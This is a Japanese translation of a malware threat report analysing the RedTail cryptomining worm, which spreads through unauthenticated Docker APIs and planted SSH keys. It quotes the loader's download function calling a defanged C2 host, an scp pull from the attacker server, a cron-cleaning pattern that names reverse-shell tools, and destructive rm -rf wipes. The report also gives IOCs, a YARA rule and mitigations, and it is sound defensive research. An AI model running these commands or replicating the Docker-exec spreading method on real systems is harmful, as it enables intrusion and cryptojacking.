このページは翻訳版です。正式な本文は英語版です。 英語版を読む
malware · cryptomining · redtail · docker · linux · honeypot · worm
RedTail キャンペーンの内側: 露出した Docker API を介した自己増殖
Kinryū Labs のハニーポットが、認証されていない Docker Engine API と設置された SSH 鍵を通じて拡散する RedTail クリプトマイナーを捕捉した。本稿は、ローダー、競合排除スクリプト、マイナー、そして現用の指標を含め、完全に採取された現在進行中の事例を記録する。
著者 Davis Zheng·
TLP:CLEAR. 一般公開が承認済み。Kinryū Labs のハニーポットセンサー網により採取。以下の指標は defang 済みである。
エグゼクティブサマリー
- 2375露出した Docker API、その侵入口
- 4標的とされた CPU アーキテクチャ
- ~21s攻撃者の侵入完了までの所要時間
- 自己増殖型マイナーに内蔵された SSH クライアント
2026年6月初旬から中旬にかけて、当研究所のハニーポット網は、TCP/2375 上でインターネットに露出した Docker Engine API を経由して拡散し、2023年末から観測されている XMRig ベースの Monero マイナー RedTail を投下するワームを捕捉した。攻撃者は開放された Docker API 経由で稼働中のコンテナを列挙し、各コンテナ内でコマンドを実行し、永続化と横展開のために SSH 秘密鍵を設置したうえで、マルチアーキテクチャ対応のローダーを取得する。ローダーは、拡散用の SSH クライアントと新たな標的探索用の libpcap スニファーを自前で同梱したマイナーをインストールする。
ペイロードは紛れもなく RedTail である。RedTail は Web アプリケーションの脆弱性 (PAN-OS、Ivanti、Log4Shell、PHP-CGI、TP-Link) 経由の侵入で知られるが、露出した Docker API の悪用についても先行報告が存在する。本稿はその Docker API 配送について、現在進行形で完全に採取された事例を追加するものだ。すなわち、稼働中の C2 と指標、ホストが自己複製することを可能にする SSH 鍵の設置、そして先行報告が指摘しつつも検体を確保できていなかった競合排除スクリプトである。
マイナーは暗号化されたランタイム設定を保持し、ウォレットを埋め込んでいないため、検体から Monero アドレスを取り出すことはできない。それを得るには、ネットワークキャプチャを取りながら隔離環境で実際に実行させる必要がある。
- ペイロードは RedTail である (確度: 高)。
libredtail evbuffer_tls文字列、.redtailアーティファクト、ローダー内のredtailフォールバック、暗号化設定かつウォレット非同梱のビルドは、いずれも同ファミリーの2024年以降のバージョンと一致する。 - 本キャンペーンは自己増殖型である (確度: 高)。Docker API 操作の仕組み、設置される鍵、マイナー内蔵の SSH クライアントは、感染直後のホストが自力で次の被害者を探しに行くのに必要な要素をすべて揃えている。
- 運用者の動機は金銭である (確度: 中)。認証情報の窃取とスニッフィングは、独立したデータ窃取目的ではなく拡散に資するものと見える。
- Docker API を用いた侵入経路には RedTail に関する先行報告があり、現在も有効に機能している。TCP/2375 上の露出したソケットが1つあるだけで、攻撃者はホスト上の全コンテナ内で root としてコード実行を得る。
攻撃チェーン
[0] Reconnaissance Internet scan for exposed Docker API :2375
│
[1] Initial Access Unauthenticated Docker API → enumerate containers
│ (T1190 Exploit Public-Facing Application)
│
[2] Execution docker exec into every running container
│ (T1609 Container Administration Command)
│
[3] Persistence / Drop ed25519 key "dlr@sftp" into container ~/.ssh
Lateral prep (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Ingress (Stage 2) Pull loader: scp dlr@217.60.195[.]113:sh (primary)
│ hxxps://14.46.136[.]77/sh (fallback)
│ (T1105 Ingress Tool Transfer)
│
[5] Defense Evasion Loader: find noexec mounts → avoid them; hidden ".<random>"
│ filename; run/discard "clean" competitor-removal
│
[6] Ingress (Stage 3) Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
│
[7] Execution memfd_create → fileless launch of RedTail miner
│ (T1620 Reflective Code Loading)
│
[8] Impact XMRig Monero mining (T1496 Resource Hijacking)
+ Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
+ Lateral Movement Embedded SSH client spreads to discovered hosts (T1021.004)
Stage 1: Docker API 経由の初期アクセス
攻撃者は、認証なしの REST API を TCP/2375 に露出している Docker Engine を狙う。攻撃者の一連の動作は約21秒で完了した。
GET /versionとGET /containers/jsonによるエンジンのフィンガープリンティングとコンテナ一覧取得。- 稼働中の全コンテナに対する
POST /containers/{id}/execと、続くPOST /exec/{id}/start。 - コンテナ内シェルペイロードが攻撃者の SSH 鍵を書き込み、ローダーを取得。
本件を単発のマイナーからワームへと変えているのは、この最後の手順である。感染したホストが自身の Docker API を露出していれば、そのホストは次の被害者群に対して同じ列挙と exec の手順を実行する。
設置された SSH 鍵 (永続化と横展開)
| 属性 | 値 |
|---|---|
| 種別 | OpenSSH ed25519 秘密鍵 |
| コメント | dlr@sftp |
| 公開鍵 SHA256 フィンガープリント | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| 取得元 (SCP チャネル) | dlr@217.60.195[.]113 |
秘密鍵は公開しない。ハンティングには上記のフィンガープリントを用い、環境全体の
authorized_keysと~/.sshを確認すること。
Stage 2: /sh ローダー
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
種別: POSIX シェルスクリプト
小型で可搬性が高く、かつ慎重なローダーだ。
ランダムな隠しファイル名。 get_random_string() は4〜35文字の英数字名を組み立てる。まず /dev/urandom、次に openssl、次に $RANDOM を試し、いずれも失敗した場合はリテラル文字列 redtail にフォールバックする。このフォールバックは有用なファミリーの手掛かりになる。マイナーは .<random> として配置され、先頭のドットにより通常の ls では見えなくなる。VirusTotal には本検体がそうした名前の1つ、.mn6VTucEsFZY1PdSC2QAq として登録されている。
ダウンロードヘルパー。 C2 が自己署名証明書を用いているため、dlr() は TLS 検証を無効化し、wget から curl へフォールバックする。
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
noexec を考慮したステージング。 ローダーは /proc/mounts を読み、noexec のマウントをすべて除外したうえで、find / -user $(whoami) -perm -u=rwx を実行して書き込みと実行の両方が可能な場所を探す。使用前には各候補に対して 2 MB の dd または truncate で書き込みテストを行う。これは大半のローダーよりも手間をかけている。一般的な手口は /tmp に書き込んで運を天に任せるというものだ。
競合の掃除。 clean を取得して実行し (dlr clean; chmod +x clean; sh clean; rm -rf clean)、その後削除する。このスクリプトも入手しており、後段で分析する。対象は競合の永続化とステージング領域であり、稼働中のプロセスには手を付けない。
後始末。 新しいファイルを設置する前に .redtail と直前の .<random> ファイルを削除する。
アーキテクチャの選択。 uname -mp による分岐でビルドを選ぶ。
| ARCH の一致 | ダウンロード |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| 不明 | 4種すべてを総当たりで取得し、それぞれ実行 |
実行。 ./.<random> $1 として、ローダー本来の $1 をそのまま渡す。RedTail はこれをキャンペーンまたは侵入経路のタグとして扱う。
競合排除スクリプト clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
種別: Bash スクリプト (795 バイト)
clean はその後のハニーポットへの着弾で捕捉した。その役割は、RedTail が資源を独占できるよう、ホスト上の他のマルウェアを一掃することに尽きる。
-
cron の掃除。 ユーザー crontab (
/var/spool/cron/crontabs/*)、システム crontab (/etc/crontab、/etc/crontabs)、ドロップインディレクトリ (/etc/cron.{hourly,daily,weekly,monthly,d})、/etc/anacrontabのそれぞれについて、chattr -iaで immutable ビットを外し (競合マルウェアは自身の cron 行を保護するためこれを設定する)、再感染パターンに一致する行を削除する。wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dこれにより他グループのダウンロードクレードルとリバースシェルが取り除かれる一方、正規の cron エントリは残される。
-
名指しの競合の停止。
c3pool_minerの systemd サービスを disable および stop する。c3pool のマイナーを直接狙ったものだ。 -
ステージング領域の消去。
/tmp、/var/tmp、/dev/shmをrm -rfで空にし、競合のペイロードと共用のスクラッチ領域を一掃する。
稼働中のプロセスを放置するのはトレードオフである。一斉 kill は即座に CPU を解放するが、監視下のホストではまさにアラートが上がる種類の事象だ。これに対し、cron 行を剥がしてステージングディレクトリを空にすれば競合の再感染クレードルが消えるため、本来なら排除を無に帰す再起動をまたいでも効果が持続する。
Stage 3: RedTail マイナー (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
サイズ: 1,880,264 バイト (1.79 MB)
フォーマット: ELF 64-bit LSB EXEC (静的リンク、非 PIE)、x86-64、エントリ 0xaa9e18
パッカー: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 で悪性判定、コミュニティスコア −60、初出は 2026-06-05 頃
脅威ラベル: trojan.usblem26/abminer; ファミリー usblem26 / abminer / gen3
パッキングと解析妨害
- ヘッダーが無傷の UPX 5.02。
upx -dで約 5 MB の静的リンク ELF に問題なく展開できる。 - ファイルレス実行。VirusTotal のコードインサイトによれば、
memfd_create(システムコール0x13f) を用いて匿名のメモリファイル記述子から直接ペイロードを実行し、/proc/self/exeによる再実行と/dev/shmでのステージングを併用している。ディスクには何も残らないため、ディスクベースの AV には検知の機会がない。 - プロセス名の偽装 (
sets-process-name) により、通常のプロセスに紛れ込む。 - デバッガ回避 (
detect-debug-environment)。公開されている RedTail の分析記事は、ptraceによる自己デバッグと、バイナリが能動的に GDB を kill する挙動を記述している。 - ホスト側 AV に関する注意。Microsoft Defender はパック済み ELF を
Trojan:Linux/Multiverze!rfnとして検知し、ディスクからの読み出し自体をブロックする。そのため静的トリアージは隔離環境かメモリ上で行う必要がある。
確認されたコンポーネント (展開後の .rodata 文字列より)
XMRig マイニングコア
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail、ファミリーを特徴づけるネットワークスタック
libredtail evbuffer_tls
Connection keepalive User-Agent
独自の libevent と TLS 対応 HTTP クライアント。libredtail evbuffer_tls 文字列こそが、RedTail を素の XMRig ビルドから区別する要素である。
組み込み SSH クライアント (横展開と認証情報窃取)
ssh-userauth ssh-ed25519 sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
マイナーは完全な SSH クライアントを内包している。これが dlr@sftp 鍵の設置と拡散を駆動するエンジンだ。認証情報の窃取と SSH による伝播はマイナーのバイナリ自身が担っており、ドロッパー側にはその機能は存在しない。
組み込み libpcap (ネットワークスニッフィング)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
ホスト上でのパケットキャプチャであり、ローカルでのホストおよび認証情報の探索と符合する。
エンコードテーブル。 標準と URL セーフの両方の Base64 アルファベット (...+/ と ...-_) が確認でき、設定のデコード処理に使われている。
設定とアトリビューションの欠落
展開後のバイナリに対して、IP、URL、stratum、pool、Monero アドレスのパターンを入念に探索した。含まれていたプールは XMRig 組み込みの開発者寄付用プール (donate.ssl.xmrig.com、donate.v2.xmrig.com) のみで、これはあらゆる XMRig ビルドが持つものであり、運用者の管理下にはない。攻撃者のプール、プロキシ、ウォレットは平文では存在しない。
これは意図的なものであり、2024年以降の RedTail の変遷と一致する。マイニング設定は暗号化され、実行時にメモリ上でのみ復号される。また近年のビルドはウォレットをまったく持たず、プライベートプールまたはプールプロキシの利用を示唆している。したがって、
- 本検体から Monero ウォレットを取得することはできない。
- プールプロキシは、ネットワークシンクを備えた隔離環境で実際に実行させることによってのみ明らかになる (方法論を参照)。
アトリビューション
本件は RedTail、別名 .redtail マイナーであり、2023年末から2024年初頭にかけて初めて報告された XMRig 派生の Monero マイナーである。一致する点は以下のとおり。
- 同ファミリー固有の
libredtail evbuffer_tls文字列。 .redtailアーティファクトと、ローダー内のredtailフォールバック。- 暗号化設定かつウォレット非同梱のビルド、マルチアーキテクチャ対応ローダー、競合排除スクリプト
clean、SSH 認証情報の窃取。いずれも既知の RedTail の特徴である。
比較として、同ファミリーについて既に記録されている配送経路は CVE-2024-3400 (PAN-OS)、CVE-2023-46805 および CVE-2024-21887 (Ivanti)、CVE-2021-44228 (Log4Shell)、CVE-2024-4577 (PHP-CGI)、CVE-2023-1389 (TP-Link) である。VirusTotal は本検体に CVE-2021-41773 (Apache 2.4.49/2.4.50 のパストラバーサルによる RCE) と CVE-2015-2808 (RC4、“Bar Mitzvah”) のタグも付与している。
RedTail が露出した Docker API を悪用することには先行報告があり、経路自体は新しくない。その先行報告で手薄だったのはチェーンの中間部分であり、本件の採取が位置づけられるのはまさにそこである。推測ではなく実物として回収した clean スクリプト、採取時点で稼働していた C2 とペイロードのハッシュ、そして Stage 1 へと環を閉じる dlr@sftp 鍵の設置である。
今後の見通し
クリプトジャッキング集団は、ペイロードを変えるよりもはるかに高い頻度で侵入手段を変える。そして RedTail のモジュール化されたローダーは、侵入手段の差し替えを容易にしている。開放された Docker API は安価な差し替え先だ。維持すべきエクスプロイトもパッチ適用との競争もなく、得られるアクセスはホスト上の全コンテナ内の root であり、インターネットに露出した 2375 の供給が尽きる気配もない。RedTail は以前にもここを通っている。
運用者は Docker API 経路を Web エクスプロイトと入れ替えるのではなく、両者を併用し続ける可能性が高いと見ている。そのほうが到達可能なホストが単純に増えるからだ。コンテナを運用しているなら、露出した Docker API は公開インターネット上に置かれているものとして扱うべきだ。実質的にはそのとおりだからである。
侵害指標
ネットワーク
| 指標 | 文脈 |
|---|---|
14.46.136[.]77 | C2 / ペイロード配布ホスト (HTTPS、自己署名)。/sh、/clean、/x86_64、/i686、/aarch64、/arm7 を配信。ASN でクラウドからの通信をフィルタする。 |
hxxps://14.46.136[.]77/sh | Stage 2 ローダーの URL |
hxxps://14.46.136[.]77/clean | 競合排除スクリプト (cron / ステージング領域の消去) |
217.60.195[.]113 | SCP による鍵 / ペイロードの取得元 (dlr@217.60.195[.]113) |
ファイル (SHA256 / MD5)
| ファイル | SHA256 | MD5 |
|---|---|---|
sh (ローダー) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (競合排除) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (マイナー) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
ホスト上のアーティファクト
| 指標 | 文脈 |
|---|---|
.redtail | マイナーのアーティファクト / 既感染マーカー |
.<random alnum> 例: .mn6VTucEsFZY1PdSC2QAq | 隠しマイナーのファイル名 (先頭ドット + ランダム) |
SSH 鍵のコメント dlr@sftp | 設置された鍵 |
公開鍵 FP SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | 設置された鍵のフィンガープリント。authorized_keys を探索すること |
/dev/shm、/var/tmp、/tmp、またはユーザーが書き込める任意の rwx ディレクトリに配置されたファイル | ステージング場所 |
挙動
memfd_create(システムコール0x13f) による匿名ファイル記述子からの ELF 実行。/proc/mountsを読んだ直後にfind / -perm -u=rwxを実行するプロセス (noexec を考慮したステージング)。- プロセス名の偽装、
ptraceベースのデバッガ回避。 - 非標準のホストへの外向き
stratum+tcp:///stratum+ssl://通信。 systemctl disable c3pool_minerおよびsystemctl stop c3pool_miner(競合の排除)。- crontab パスに対する
chattr -iaの直後に、cron からwget/curl/ リバースシェル行を一括削除する動作。 /tmp/*、/var/tmp/*、/dev/shm/*に対するrm -rf(競合のステージング領域の消去)。
検知
ホスト検知 (プロセス / EDR のロジック)
以下を順に行うプロセスをアラート対象とする。
/proc/mountsを読み、続いてfind / ... -perm -u=rwx ...を実行する。- 誰でも書き込めるディレクトリに、先頭がドットのランダムな名前のファイルを書き込む。
memfd_createを呼び出し、得られたファイル記述子から実行する。
いずれも単独ではシグナルとして弱い。3つが揃った場合は、このローダーの強い兆候となる。
YARA ルール案 (展開後のバイナリ向け)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
このルールが一致するのは UPX 展開後のバイナリである。パック済み検体については、UPX のシグネチャ、ファイルサイズ (約 1.79 MB)、上記の VirusTotal ハッシュを起点に調査すること。
ネットワーク検知
14.46.136[.]77および217.60.195[.]113への外向き通信をブロックし、アラートを上げる。- 許可リストにない宛先への
stratum+tcp/stratum+sslをアラート対象とする。 - 1文字またはアーキテクチャ名のパス (
/sh、/x86_64、/aarch64、/arm7) への HTTP(S) GET をアラート対象とする。
緩和策
- Docker API (2375/2376) を信頼できないネットワークに露出させない。localhost か保護されたソケットにバインドし、TLS クライアント証明書認証を必須とすること。この1つの対策だけで初期アクセスの手順は完全に断たれる。
- 環境全体の
~/.ssh/authorized_keysを監査し、dlr@sftp鍵とそのフィンガープリントの有無を確認する。 - 上記の C2 IP と stratum トラフィックについて、外向き通信のフィルタリングと監視を行う。
- 可能な範囲で
/tmp、/var/tmp、/dev/shmをnoexecでマウントする。ハードルは上がるが、このローダーは noexec を考慮しており、書き込みと実行が可能な別のディレクトリを探しに行く。 - コンテナを堅牢化する。不要なケーパビリティを削り、ルートファイルシステムを読み取り専用にし、最小権限で実行することで、
execによる侵入が攻撃者に実用的な実行環境を与えないようにする。
MITRE ATT&CK マッピング
| 戦術 | 技術 |
|---|---|
| 初期アクセス | T1190 Exploit Public-Facing Application (Docker API) |
| 実行 | T1609 Container Administration Command; T1059.004 Unix Shell |
| 永続化 | T1098.004 SSH Authorized Keys |
| 防御回避 | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| 認証情報アクセス | T1552.004 Private Keys; T1040 Network Sniffing |
| 探索 | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| 横展開 | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| コマンド&コントロール | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| 影響 | T1496 Resource Hijacking (クリプトマイニング) |
方法論とアナリストノート
- Stage 2 と Stage 3 は、稼働中の C2 から HTTPS 経由で取得した。
14.46.136[.]77は主要クラウド事業者のアドレス空間に対してはタイムアウトする一方、家庭用回線のレンジには応答する。ASN または地理的な egress フィルタであり、自動化されたクラウドサンドボックスを無効化する。 - パック済み ELF は Microsoft Defender (
Trojan:Linux/Multiverze!rfn) に検知され、保護された Windows ホストではディスクからの読み出しすらできない。そのため最初のトリアージはメモリ上で行い、生の ELF を一切書き出すことなく Python プロセス内でアーカイブを展開した。 - 展開には隔離した FLARE-VM 上で
upx -dを用いた。展開後のバイナリは実行せず、文字列と構造による静的解析を行った。 - マイナーは実行していないため、実行時に復号されるプールプロキシと Monero の設定は本レポートには含まれていない。
- 攻撃者の秘密鍵はキャプチャから回収しているが、公開はしない。指標に含めたのは公開鍵のフィンガープリント (上記) のみであり、これは防御側が
authorized_keys内の設置されたdlr@sftp鍵を探索するために必要なものだ。
推奨される追加調査 (プールプロキシの指標を得るために)
プールプロキシを特定するには、展開後のバイナリを隔離した Linux 環境 (REMnux で足りる) で以下の構成のもと実行する。
- 通信を引き出すためのネットワークシンク (INetSim、あるいは
fakednsと TCP のキャッチオール)、 - stratum の CONNECT とログインを捕捉する
tcpdump -i any -w redtail.pcap、 - 最初の
connect()の直前にマイナーが復号する平文設定を取得するstrace -f。これは TLS により通信路上で秘匿されている場合でも読み取れることが多い。
そのホストとポートが、本キャンペーンで唯一未解明のまま残っている指標である。
検体
検体 (ローダー、clean スクリプト、パック済みマイナー) は、他の研究者および防御側に対して要請に応じて提供する。contact@kinryu.sh まで、身元と用途を簡潔に添えてメールされたい。